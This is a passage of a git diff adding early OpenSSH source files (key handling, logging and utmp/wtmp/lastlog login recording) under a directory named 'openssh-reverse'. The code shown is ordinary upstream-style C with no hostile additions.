OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* + * read_bignum(): + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + */ + +#include "includes.h" +#include "ssh.h" +#include +#include +#include +#include "xmalloc.h" +#include "key.h" +#include "dsa.h" +#include "uuencode.h" + +RCSID("$OpenBSD: key.c,v 1.9 2000/06/22 23:55:00 djm Exp $"); + +#define SSH_DSS "ssh-dss" + +Key * +key_new(int type) +{ + Key *k; + RSA *rsa; + DSA *dsa; + k = xmalloc(sizeof(*k)); + k->type = type; + k->dsa = NULL; + k->rsa = NULL; + switch (k->type) { + case KEY_RSA: + rsa = RSA_new(); + rsa->n = BN_new(); + rsa->e = BN_new(); + k->rsa = rsa; + break; + case KEY_DSA: + dsa = DSA_new(); + dsa->p = BN_new(); + dsa->q = BN_new(); + dsa->g = BN_new(); + dsa->pub_key = BN_new(); + k->dsa = dsa; + break; + case KEY_EMPTY: + break; + default: + fatal("key_new: bad key type %d", k->type); + break; + } + return k; +} +void +key_free(Key *k) +{ + switch (k->type) { + case KEY_RSA: + if (k->rsa != NULL) + RSA_free(k->rsa); + k->rsa = NULL; + break; + case KEY_DSA: + if (k->dsa != NULL) + DSA_free(k->dsa); + k->dsa = NULL; + break; + default: + fatal("key_free: bad key type %d", k->type); + break; + } + xfree(k); +} +int +key_equal(Key *a, Key *b) +{ + if (a == NULL || b == NULL || a->type != b->type) + return 0; + switch (a->type) { + case KEY_RSA: + return a->rsa != NULL && b->rsa != NULL && + BN_cmp(a->rsa->e, b->rsa->e) == 0 && + BN_cmp(a->rsa->n, b->rsa->n) == 0; + break; + case KEY_DSA: + return a->dsa != NULL && b->dsa != NULL && + BN_cmp(a->dsa->p, b->dsa->p) == 0 && + BN_cmp(a->dsa->q, b->dsa->q) == 0 && + BN_cmp(a->dsa->g, b->dsa->g) == 0 && + BN_cmp(a->dsa->pub_key, b->dsa->pub_key) == 0; + break; + default: + fatal("key_equal: bad key type %d", a->type); + break; + } + return 0; +} + +/* + * Generate key fingerprint in ascii format. + * Based on ideas and code from Bjoern Groenvall + */ +char * +key_fingerprint(Key *k) +{ + static char retval[(EVP_MAX_MD_SIZE+1)*3]; + unsigned char *blob = NULL; + int len = 0; + int nlen, elen; + + switch (k->type) { + case KEY_RSA: + nlen = BN_num_bytes(k->rsa->n); + elen = BN_num_bytes(k->rsa->e); + len = nlen + elen; + blob = xmalloc(len); + BN_bn2bin(k->rsa->n, blob); + BN_bn2bin(k->rsa->e, blob + nlen); + break; + case KEY_DSA: + dsa_make_key_blob(k, &blob, &len); + break; + default: + fatal("key_fingerprint: bad key type %d", k->type); + break; + } + retval[0] = '\0'; + + if (blob != NULL) { + int i; + unsigned char digest[EVP_MAX_MD_SIZE]; + EVP_MD *md = EVP_md5(); + EVP_MD_CTX ctx; + EVP_DigestInit(&ctx, md); + EVP_DigestUpdate(&ctx, blob, len); + EVP_DigestFinal(&ctx, digest, NULL); + for(i = 0; i < md->md_size; i++) { + char hex[4]; + snprintf(hex, sizeof(hex), "%02x:", digest[i]); + strlcat(retval, hex, sizeof(retval)); + } + retval[strlen(retval) - 1] = '\0'; + memset(blob, 0, len); + xfree(blob); + } + return retval; +} + +/* + * Reads a multiple-precision integer in decimal from the buffer, and advances + * the pointer. The integer must already be initialized. This function is + * permitted to modify the buffer. This leaves *cpp to point just beyond the + * last processed (and maybe modified) character. Note that this may modify + * the buffer containing the number. + */ +int +read_bignum(char **cpp, BIGNUM * value) +{ + char *cp = *cpp; + int old; + + /* Skip any leading whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Check that it begins with a decimal digit. */ + if (*cp < '0' || *cp > '9') + return 0; + + /* Save starting position. */ + *cpp = cp; + + /* Move forward until all decimal digits skipped. */ + for (; *cp >= '0' && *cp <= '9'; cp++) + ; + + /* Save the old terminating character, and replace it by \0. */ + old = *cp; + *cp = 0; + + /* Parse the number. */ + if (BN_dec2bn(&value, *cpp) == 0) + return 0; + + /* Restore old terminating character. */ + *cp = old; + + /* Move beyond the number and return success. */ + *cpp = cp; + return 1; +} +int +write_bignum(FILE *f, BIGNUM *num) +{ + char *buf = BN_bn2dec(num); + if (buf == NULL) { + error("write_bignum: BN_bn2dec() failed"); + return 0; + } + fprintf(f, " %s", buf); + free(buf); + return 1; +} +unsigned int +key_read(Key *ret, char **cpp) +{ + Key *k; + unsigned int bits = 0; + char *cp; + int len, n; + unsigned char *blob; + + cp = *cpp; + + switch(ret->type) { + case KEY_RSA: + /* Get number of bits. */ + if (*cp < '0' || *cp > '9') + return 0; /* Bad bit count... */ + for (bits = 0; *cp >= '0' && *cp <= '9'; cp++) + bits = 10 * bits + *cp - '0'; + if (bits == 0) + return 0; + *cpp = cp; + /* Get public exponent, public modulus. */ + if (!read_bignum(cpp, ret->rsa->e)) + return 0; + if (!read_bignum(cpp, ret->rsa->n)) + return 0; + break; + case KEY_DSA: + if (strncmp(cp, SSH_DSS " ", 7) != 0) + return 0; + cp += 7; + len = 2*strlen(cp); + blob = xmalloc(len); + n = uudecode(cp, blob, len); + if (n < 0) { + error("key_read: uudecode %s failed", cp); + return 0; + } + k = dsa_key_from_blob(blob, n); + if (k == NULL) { + error("key_read: dsa_key_from_blob %s failed", cp); + return 0; + } + xfree(blob); + if (ret->dsa != NULL) + DSA_free(ret->dsa); + ret->dsa = k->dsa; + k->dsa = NULL; + key_free(k); + bits = BN_num_bits(ret->dsa->p); + /* advance cp: skip whitespace and data */ + while (*cp == ' ' || *cp == '\t') + cp++; + while (*cp != '\0' && *cp != ' ' && *cp != '\t') + cp++; + *cpp = cp; + break; + default: + fatal("key_read: bad key type: %d", ret->type); + break; + } + return bits; +} +int +key_write(Key *key, FILE *f) +{ + int success = 0; + unsigned int bits = 0; + + if (key->type == KEY_RSA && key->rsa != NULL) { + /* size of modulus 'n' */ + bits = BN_num_bits(key->rsa->n); + fprintf(f, "%u", bits); + if (write_bignum(f, key->rsa->e) && + write_bignum(f, key->rsa->n)) { + success = 1; + } else { + error("key_write: failed for RSA key"); + } + } else if (key->type == KEY_DSA && key->dsa != NULL) { + int len, n; + unsigned char *blob, *uu; + dsa_make_key_blob(key, &blob, &len); + uu = xmalloc(2*len); + n = uuencode(blob, len, uu, 2*len); + if (n > 0) { + fprintf(f, "%s %s", SSH_DSS, uu); + success = 1; + } + xfree(blob); + xfree(uu); + } + return success; +} +char * +key_type(Key *k) +{ + switch (k->type) { + case KEY_RSA: + return "RSA"; + break; + case KEY_DSA: + return "DSA"; + break; + } + return "unknown"; +} diff --git a/other/openssh-reverse/key.h b/other/openssh-reverse/key.h new file mode 100644 index 0000000..ed3f770 --- /dev/null +++ b/other/openssh-reverse/key.h @@ -0,0 +1,25 @@ +#ifndef KEY_H +#define KEY_H + +typedef struct Key Key; +enum types { + KEY_RSA, + KEY_DSA, + KEY_EMPTY +}; +struct Key { + int type; + RSA *rsa; + DSA *dsa; +}; + +Key *key_new(int type); +void key_free(Key *k); +int key_equal(Key *a, Key *b); +char *key_fingerprint(Key *k); +char *key_type(Key *k); +int key_write(Key *key, FILE *f); +unsigned int +key_read(Key *key, char **cpp); + +#endif diff --git a/other/openssh-reverse/log-client.c b/other/openssh-reverse/log-client.c new file mode 100644 index 0000000..7e9fd61 --- /dev/null +++ b/other/openssh-reverse/log-client.c @@ -0,0 +1,62 @@ +/* + * + * log-client.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 21:13:40 1995 ylo + * + * Client-side versions of debug(), log(), etc. These print to stderr. + * This is a stripped down version of log-server.c. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: log-client.c,v 1.9 2000/06/20 01:39:42 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +static LogLevel log_level = SYSLOG_LEVEL_INFO; + +/* Initialize the log. + * av0 program name (should be argv[0]) + * level logging level + */ + +void +log_init(char *av0, LogLevel level, SyslogFacility ignored1, int ignored2) +{ + switch (level) { + case SYSLOG_LEVEL_QUIET: + case SYSLOG_LEVEL_ERROR: + case SYSLOG_LEVEL_FATAL: + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + case SYSLOG_LEVEL_DEBUG: + log_level = level; + break; + default: + /* unchanged */ + break; + } +} + +#define MSGBUFSIZ 1024 + +void +do_log(LogLevel level, const char *fmt, va_list args) +{ + char msgbuf[MSGBUFSIZ]; + + if (level > log_level) + return; + if (level == SYSLOG_LEVEL_DEBUG) + fprintf(stderr, "debug: "); + vsnprintf(msgbuf, sizeof(msgbuf), fmt, args); + fprintf(stderr, "%s", msgbuf); + fprintf(stderr, "\r\n"); +} diff --git a/other/openssh-reverse/log-server.c b/other/openssh-reverse/log-server.c new file mode 100644 index 0000000..9db77d9 --- /dev/null +++ b/other/openssh-reverse/log-server.c @@ -0,0 +1,147 @@ +/* + * + * log-server.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 21:19:30 1995 ylo + * + * Server-side versions of debug(), log(), etc. These normally send the output + * to the system log. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: log-server.c,v 1.15 2000/06/20 01:39:42 markus Exp $"); + +#include +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "sshd"; +#endif /* HAVE___PROGNAME */ + +static LogLevel log_level = SYSLOG_LEVEL_INFO; +static int log_on_stderr = 0; +static int log_facility = LOG_AUTH; + +/* Initialize the log. + * av0 program name (should be argv[0]) + * on_stderr print also on stderr + * level logging level + */ + +void +log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr) +{ + switch (level) { + case SYSLOG_LEVEL_QUIET: + case SYSLOG_LEVEL_ERROR: + case SYSLOG_LEVEL_FATAL: + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + case SYSLOG_LEVEL_DEBUG: + log_level = level; + break; + default: + fprintf(stderr, "Unrecognized internal syslog level code %d\n", + (int) level); + exit(1); + } + switch (facility) { + case SYSLOG_FACILITY_DAEMON: + log_facility = LOG_DAEMON; + break; + case SYSLOG_FACILITY_USER: + log_facility = LOG_USER; + break; + case SYSLOG_FACILITY_AUTH: + log_facility = LOG_AUTH; + break; + case SYSLOG_FACILITY_LOCAL0: + log_facility = LOG_LOCAL0; + break; + case SYSLOG_FACILITY_LOCAL1: + log_facility = LOG_LOCAL1; + break; + case SYSLOG_FACILITY_LOCAL2: + log_facility = LOG_LOCAL2; + break; + case SYSLOG_FACILITY_LOCAL3: + log_facility = LOG_LOCAL3; + break; + case SYSLOG_FACILITY_LOCAL4: + log_facility = LOG_LOCAL4; + break; + case SYSLOG_FACILITY_LOCAL5: + log_facility = LOG_LOCAL5; + break; + case SYSLOG_FACILITY_LOCAL6: + log_facility = LOG_LOCAL6; + break; + case SYSLOG_FACILITY_LOCAL7: + log_facility = LOG_LOCAL7; + break; + default: + fprintf(stderr, "Unrecognized internal syslog facility code %d\n", + (int) facility); + exit(1); + } + log_on_stderr = on_stderr; +} + +#define MSGBUFSIZ 1024 + +void +do_log(LogLevel level, const char *fmt, va_list args) +{ + char msgbuf[MSGBUFSIZ]; + char fmtbuf[MSGBUFSIZ]; + char *txt = NULL; + int pri = LOG_INFO; + + if (level > log_level) + return; + switch (level) { + case SYSLOG_LEVEL_ERROR: + txt = "error"; + pri = LOG_ERR; + break; + case SYSLOG_LEVEL_FATAL: + txt = "fatal"; + pri = LOG_ERR; + break; + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + pri = LOG_INFO; + break; + case SYSLOG_LEVEL_DEBUG: + txt = "debug"; + pri = LOG_DEBUG; + break; + default: + txt = "internal error"; + pri = LOG_ERR; + break; + } + if (txt != NULL) { + snprintf(fmtbuf, sizeof(fmtbuf), "%s: %s", txt, fmt); + vsnprintf(msgbuf, sizeof(msgbuf), fmtbuf, args); + } else { + vsnprintf(msgbuf, sizeof(msgbuf), fmt, args); + } + if (log_on_stderr) { + fprintf(stderr, "%s\n", msgbuf); + } else { + openlog(__progname, LOG_PID, log_facility); + syslog(pri, "%.500s", msgbuf); + closelog(); + } +} diff --git a/other/openssh-reverse/log.c b/other/openssh-reverse/log.c new file mode 100644 index 0000000..03038b2 --- /dev/null +++ b/other/openssh-reverse/log.c @@ -0,0 +1,184 @@ +/* + * Shared versions of debug(), log(), etc. + */ + +#include "includes.h" +RCSID("$OpenBSD: log.c,v 1.7 2000/01/04 00:07:59 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" + +/* Fatal messages. This function never returns. */ + +void +fatal(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_FATAL, fmt, args); + va_end(args); + fatal_cleanup(); +} + +/* Error messages that should be logged. */ + +void +error(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_ERROR, fmt, args); + va_end(args); +} + +/* Log this message (information that usually should go to the log). */ + +void +log(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_INFO, fmt, args); + va_end(args); +} + +/* More detailed messages (information that does not need to go to the log). */ + +void +verbose(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_VERBOSE, fmt, args); + va_end(args); +} + +/* Debugging messages that should not be logged during normal operation. */ + +void +debug(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_DEBUG, fmt, args); + va_end(args); +} + +/* Fatal cleanup */ + +struct fatal_cleanup { + struct fatal_cleanup *next; + void (*proc) (void *); + void *context; +}; + +static struct fatal_cleanup *fatal_cleanups = NULL; + +/* Registers a cleanup function to be called by fatal() before exiting. */ + +void +fatal_add_cleanup(void (*proc) (void *), void *context) +{ + struct fatal_cleanup *cu; + + cu = xmalloc(sizeof(*cu)); + cu->proc = proc; + cu->context = context; + cu->next = fatal_cleanups; + fatal_cleanups = cu; +} + +/* Removes a cleanup frunction to be called at fatal(). */ + +void +fatal_remove_cleanup(void (*proc) (void *context), void *context) +{ + struct fatal_cleanup **cup, *cu; + + for (cup = &fatal_cleanups; *cup; cup = &cu->next) { + cu = *cup; + if (cu->proc == proc && cu->context == context) { + *cup = cu->next; + xfree(cu); + return; + } + } + fatal("fatal_remove_cleanup: no such cleanup function: 0x%lx 0x%lx\n", + (unsigned long) proc, (unsigned long) context); +} + +/* Cleanup and exit */ +void +fatal_cleanup(void) +{ + struct fatal_cleanup *cu, *next_cu; + static int called = 0; + + if (called) + exit(255); + called = 1; + /* Call cleanup functions. */ + for (cu = fatal_cleanups; cu; cu = next_cu) { + next_cu = cu->next; + debug("Calling cleanup 0x%lx(0x%lx)", + (unsigned long) cu->proc, (unsigned long) cu->context); + (*cu->proc) (cu->context); + } + exit(255); +} + +/* textual representation of log-facilities/levels */ + +static struct { + const char *name; + SyslogFacility val; +} log_facilities[] = { + { "DAEMON", SYSLOG_FACILITY_DAEMON }, + { "USER", SYSLOG_FACILITY_USER }, + { "AUTH", SYSLOG_FACILITY_AUTH }, + { "LOCAL0", SYSLOG_FACILITY_LOCAL0 }, + { "LOCAL1", SYSLOG_FACILITY_LOCAL1 }, + { "LOCAL2", SYSLOG_FACILITY_LOCAL2 }, + { "LOCAL3", SYSLOG_FACILITY_LOCAL3 }, + { "LOCAL4", SYSLOG_FACILITY_LOCAL4 }, + { "LOCAL5", SYSLOG_FACILITY_LOCAL5 }, + { "LOCAL6", SYSLOG_FACILITY_LOCAL6 }, + { "LOCAL7", SYSLOG_FACILITY_LOCAL7 }, + { NULL, 0 } +}; + +static struct { + const char *name; + LogLevel val; +} log_levels[] = +{ + { "QUIET", SYSLOG_LEVEL_QUIET }, + { "FATAL", SYSLOG_LEVEL_FATAL }, + { "ERROR", SYSLOG_LEVEL_ERROR }, + { "INFO", SYSLOG_LEVEL_INFO }, + { "VERBOSE", SYSLOG_LEVEL_VERBOSE }, + { "DEBUG", SYSLOG_LEVEL_DEBUG }, + { NULL, 0 } +}; + +SyslogFacility +log_facility_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_facilities[i].name; i++) + if (strcasecmp(log_facilities[i].name, name) == 0) + return log_facilities[i].val; + return (SyslogFacility) - 1; +} + +LogLevel +log_level_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_levels[i].name; i++) + if (strcasecmp(log_levels[i].name, name) == 0) + return log_levels[i].val; + return (LogLevel) - 1; +} diff --git a/other/openssh-reverse/login.c b/other/openssh-reverse/login.c new file mode 100644 index 0000000..c507218 --- /dev/null +++ b/other/openssh-reverse/login.c @@ -0,0 +1,69 @@ +/* + * + * login.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 24 14:51:08 1995 ylo + * + * This file performs some of the things login(1) normally does. We cannot + * easily use something like login -p -h host -f user, because there are + * several different logins around, and it is hard to determined what kind of + * login the current system has. Also, we want to be able to execute commands + * on a tty. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: login.c,v 1.14 2000/06/20 01:39:42 markus Exp $"); + +#include "loginrec.h" + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host the user logged in from will be returned in buf. + */ + +unsigned long +get_last_login_time(uid_t uid, const char *logname, + char *buf, unsigned int bufsize) +{ + struct logininfo li; + + login_get_lastlog(&li, uid); + strlcpy(buf, li.hostname, bufsize); + return li.tv_sec; +} + +/* + * Records that the user has logged in. I these parts of operating systems + * were more standardized. + */ + +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr * addr) +{ + struct logininfo *li; + + li = login_alloc_entry(pid, user, host, ttyname); + login_set_addr(li, addr, sizeof(struct sockaddr)); + login_login(li); + login_free_entry(li); +} + +/* Records that the user has logged out. */ + +void +record_logout(pid_t pid, const char *ttyname) +{ + struct logininfo *li; + + li = login_alloc_entry(pid, NULL, NULL, ttyname); + login_logout(li); + login_free_entry(li); +} diff --git a/other/openssh-reverse/loginrec.c b/other/openssh-reverse/loginrec.c new file mode 100644 index 0000000..8b82fa2 --- /dev/null +++ b/other/openssh-reverse/loginrec.c @@ -0,0 +1,1434 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * Portions copyright (c) 1998 Todd C. Miller + * Portions copyright (c) 1996 Jason Downs + * Portions copyright (c) 1996 Theo de Raadt + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.c: platform-independent login recording and lastlog retrieval + **/ + +/* + The new login code explained + ============================ + + This code attempts to provide a common interface to login recording + (utmp and friends) and last login time retrieval. + + Its primary means of achieving this is to use 'struct logininfo', a + union of all the useful fields in the various different types of + system login record structures one finds on UNIX variants. + + We depend on autoconf to define which recording methods are to be + used, and which fields are contained in the relevant data structures + on the local system. Many C preprocessor symbols affect which code + gets compiled here. + + The code is designed to make it easy to modify a particular + recording method, without affecting other methods nor requiring so + many nested conditional compilation blocks as were commonplace in + the old code. + + For login recording, we try to use the local system's libraries as + these are clearly most likely to work correctly. For utmp systems + this usually means login() and logout() or setutent() etc., probably + in libutil, along with logwtmp() etc. On these systems, we fall back + to writing the files directly if we have to, though this method + requires very thorough testing so we do not corrupt local auditing + information. These files and their access methods are very system + specific indeed. + + For utmpx systems, the corresponding library functions are + setutxent() etc. To the author's knowledge, all utmpx systems have + these library functions and so no direct write is attempted. If such + a system exists and needs support, direct analogues of the [uw]tmp + code should suffice. + + Retrieving the time of last login ('lastlog') is in some ways even + more problemmatic than login recording. Some systems provide a + simple table of all users which we seek based on uid and retrieve a + relatively standard structure. Others record the same information in + a directory with a separate file, and others don't record the + information separately at all. For systems in the latter category, + we look backwards in the wtmp or wtmpx file for the last login entry + for our user. Naturally this is slower and on busy systems could + incur a significant performance penalty. + + Calling the new code + -------------------- + + In OpenSSH all login recording and retrieval is performed in + login.c. Here you'll find working examples. Also, in the logintest.c + program there are more examples. + + Internal handler calling method + ------------------------------- + + When a call is made to login_login() or login_logout(), both + routines set a struct logininfo flag defining which action (log in, + or log out) is to be taken. They both then call login_write(), which + calls whichever of the many structure-specific handlers autoconf + selects for the local system. + + The handlers themselves handle system data structure specifics. Both + struct utmp and struct utmpx have utility functions (see + construct_utmp*()) to try to make it simpler to add extra systems + that introduce new features to either structure. + + While it may seem terribly wasteful to replicate so much similar + code for each method, experience has shown that maintaining code to + write both struct utmp and utmpx in one function, whilst maintaining + support for all systems whether they have library support or not, is + a difficult and time-consuming task. + + Lastlog support proceeds similarly. Functions login_get_lastlog() + (and its OpenSSH-tuned friend login_get_lastlog_time()) call + getlast_entry(), which tries one of three methods to find the last + login time. It uses local system lastlog support if it can, + otherwise it tries wtmp or wtmpx before giving up and returning 0, + meaning "tilt". + + Maintenance + ----------- + + In many cases it's possible to tweak autoconf to select the correct + methods for a particular platform, either by improving the detection + code (best), or by presetting DISABLE_ or CONF__FILE + symbols for the platform. + + Use logintest to check which symbols are defined before modifying + configure.in and loginrec.c. (You have to build logintest yourself + with 'make logintest' as it's not built by default.) + + Otherwise, patches to the specific method(s) are very helpful! + +*/ + +/** + ** TODO: + ** homegrown ttyslot()q + ** test, test, test + ** + ** Platform status: + ** ---------------- + ** + ** Known good: + ** Linux (Redhat 6.2, need more variants) + ** HP-UX 10.20 (gcc only) + ** IRIX + ** + ** Testing required: Please send reports! + ** Solaris + ** NetBSD + ** HP-UX 11 + ** AIX + ** + ** Platforms with known problems: + ** NeXT + ** + **/ + +#include "includes.h" + +#include "ssh.h" +#include "xmalloc.h" +#include "loginrec.h" + +RCSID("$Id: loginrec.c,v 1.17 2000/07/11 02:15:54 djm Exp $"); + +/** + ** prototypes for helper functions in this file + **/ + +#if HAVE_UTMP_H +void set_utmp_time(struct logininfo *li, struct utmp *ut); +void construct_utmp(struct logininfo *li, struct utmp *ut); +#endif + +#ifdef HAVE_UTMPX_H +void set_utmpx_time(struct logininfo *li, struct utmpx *ut); +void construct_utmpx(struct logininfo *li, struct utmpx *ut); +#endif + +int utmp_write_entry(struct logininfo *li); +int utmpx_write_entry(struct logininfo *li); +int wtmp_write_entry(struct logininfo *li); +int wtmpx_write_entry(struct logininfo *li); +int lastlog_write_entry(struct logininfo *li); +int syslogin_write_entry(struct logininfo *li); + +int getlast_entry(struct logininfo *li); +int lastlog_get_entry(struct logininfo *li); +int wtmp_get_entry(struct logininfo *li); +int wtmpx_get_entry(struct logininfo *li); + +/* pick the shortest string */ +#define MIN_SIZEOF(s1,s2) ( sizeof(s1) < sizeof(s2) ? sizeof(s1) : sizeof(s2) ) + +/** + ** platform-independent login functions + **/ + +/* login_login(struct logininfo *) -Record a login + * + * Call with a pointer to a struct logininfo initialised with + * login_init_entry() or login_alloc_entry() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_login (struct logininfo *li) +{ + li->type = LTYPE_LOGIN; + return login_write(li); +} + + +/* login_logout(struct logininfo *) - Record a logout + * + * Call as with login_login() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_logout(struct logininfo *li) +{ + li->type = LTYPE_LOGOUT; + return login_write(li); +} + +/* login_get_lastlog_time(int) - Retrieve the last login time + * + * Retrieve the last login time for the given uid. Will try to use the + * system lastlog facilities if they are available, but will fall back + * to looking in wtmp/wtmpx if necessary + * + * Returns: + * 0 on failure, or if user has never logged in + * Time in seconds from the epoch if successful + * + * Useful preprocessor symbols: + * DISABLE_LASTLOG: If set, *never* even try to retrieve lastlog + * info + * USE_LASTLOG: If set, indicates the presence of system lastlog + * facilities. If this and DISABLE_LASTLOG are not set, + * try to retrieve lastlog information from wtmp/wtmpx. + */ +unsigned int +login_get_lastlog_time(const int uid) +{ + struct logininfo li; + + if (login_get_lastlog(&li, uid)) + return li.tv_sec; + else + return 0; +} + +/* login_get_lastlog(struct logininfo *, int) - Retrieve a lastlog entry + * + * Retrieve a logininfo structure populated (only partially) with + * information from the system lastlog data, or from wtmp/wtmpx if no + * system lastlog information exists. + * + * Note this routine must be given a pre-allocated logininfo. + * + * Returns: + * >0: A pointer to your struct logininfo if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + * + */ +struct logininfo * +login_get_lastlog(struct logininfo *li, const int uid) +{ + struct passwd *pw; + + memset(li, '\0', sizeof(struct logininfo)); + li->uid = uid; + + /* + * If we don't have a 'real' lastlog, we need the username to + * reliably search wtmp(x) for the last login (see + * wtmp_get_entry().) + */ + pw = getpwuid(uid); + if (pw == NULL) + fatal("login_get_lastlog: Cannot find account for uid %i", uid); + + /* No MIN_SIZEOF here - we absolutely *must not* truncate the + * username */ + strlcpy(li->username, pw->pw_name, sizeof(li->username)); + + if (getlast_entry(li)) + return li; + else + return NULL; +} + + +/* login_alloc_entry(int, char*, char*, char*) - Allocate and initialise + * a logininfo structure + * + * This function creates a new struct logininfo, a data structure + * meant to carry the information required to portably record login info. + * + * Returns a pointer to a newly created struct logininfo. If memory + * allocation fails, the program halts. + */ +struct +logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line) +{ + struct logininfo *newli; + + newli = (struct logininfo *) xmalloc (sizeof(struct logininfo)); + (void)login_init_entry(newli, pid, username, hostname, line); + return newli; +} + + +/* login_free_entry(struct logininfo *) - free struct memory */ +void +login_free_entry(struct logininfo *li) +{ + xfree(li); +} + + +/* login_init_entry(struct logininfo *, int, char*, char*, char*) + * - initialise a struct logininfo + * + * Populates a new struct logininfo, a data structure meant to carry + * the information required to portably record login info. + * + * Returns: 1 + */ +int +login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line) +{ + struct passwd *pw; + + memset(li, 0, sizeof(struct logininfo)); + + li->pid = pid; + + /* set the line information */ + if (line) + line_fullname(li->line, line, sizeof(li->line)); + + if (username) { + strlcpy(li->username, username, sizeof(li->username)); + pw = getpwnam(li->username); + if (pw == NULL) + fatal("login_init_entry: Cannot find user \"%s\"", li->username); + li->uid = pw->pw_uid; + } + + if (hostname) + strlcpy(li->hostname, hostname, sizeof(li->hostname)); + + return 1; +} + +/* login_set_current_time(struct logininfo *) - set the current time + * + * Set the current time in a logininfo structure. This function is + * meant to eliminate the need to deal with system dependencies for + * time handling. + */ +void +login_set_current_time(struct logininfo *li) +{ + struct timeval tv; + + gettimeofday(&tv, NULL); + + li->tv_sec = tv.tv_sec; + li->tv_usec = tv.tv_usec; +} + +/* copy a sockaddr_* into our logininfo */ +void +login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size) +{ + unsigned int bufsize = sa_size; + + /* make sure we don't overrun our union */ + if (sizeof(li->hostaddr) < sa_size) + bufsize = sizeof(li->hostaddr); + + memcpy((void *)&(li->hostaddr.sa), (const void *)sa, bufsize); +} + + +/** + ** login_write: Call low-level recording functions based on autoconf + ** results + **/ +int +login_write (struct logininfo *li) +{ + if ((int)geteuid() != 0) { + log("Attempt to write login records by non-root user (aborting)"); + return 1; + } + + /* set the timestamp */ + login_set_current_time(li); +#ifdef USE_LOGIN + syslogin_write_entry(li); +#endif +#ifdef USE_LASTLOG + if (li->type == LTYPE_LOGIN) { + lastlog_write_entry(li); + } +#endif +#ifdef USE_UTMP + utmp_write_entry(li); +#endif +#ifdef USE_WTMP + wtmp_write_entry(li); +#endif +#ifdef USE_UTMPX + utmpx_write_entry(li); +#endif +#ifdef USE_WTMPX + wtmpx_write_entry(li); +#endif + return 0; +} + +/** + ** getlast_entry: Call low-level functions to retrieve the last login + ** time. + **/ + +/* take the uid in li and return the last login time */ +int +getlast_entry(struct logininfo *li) +{ +#ifdef USE_LASTLOG + return(lastlog_get_entry(li)); +#else /* !USE_LASTLOG */ + +#ifdef DISABLE_LASTLOG + /* On some systems we shouldn't even try 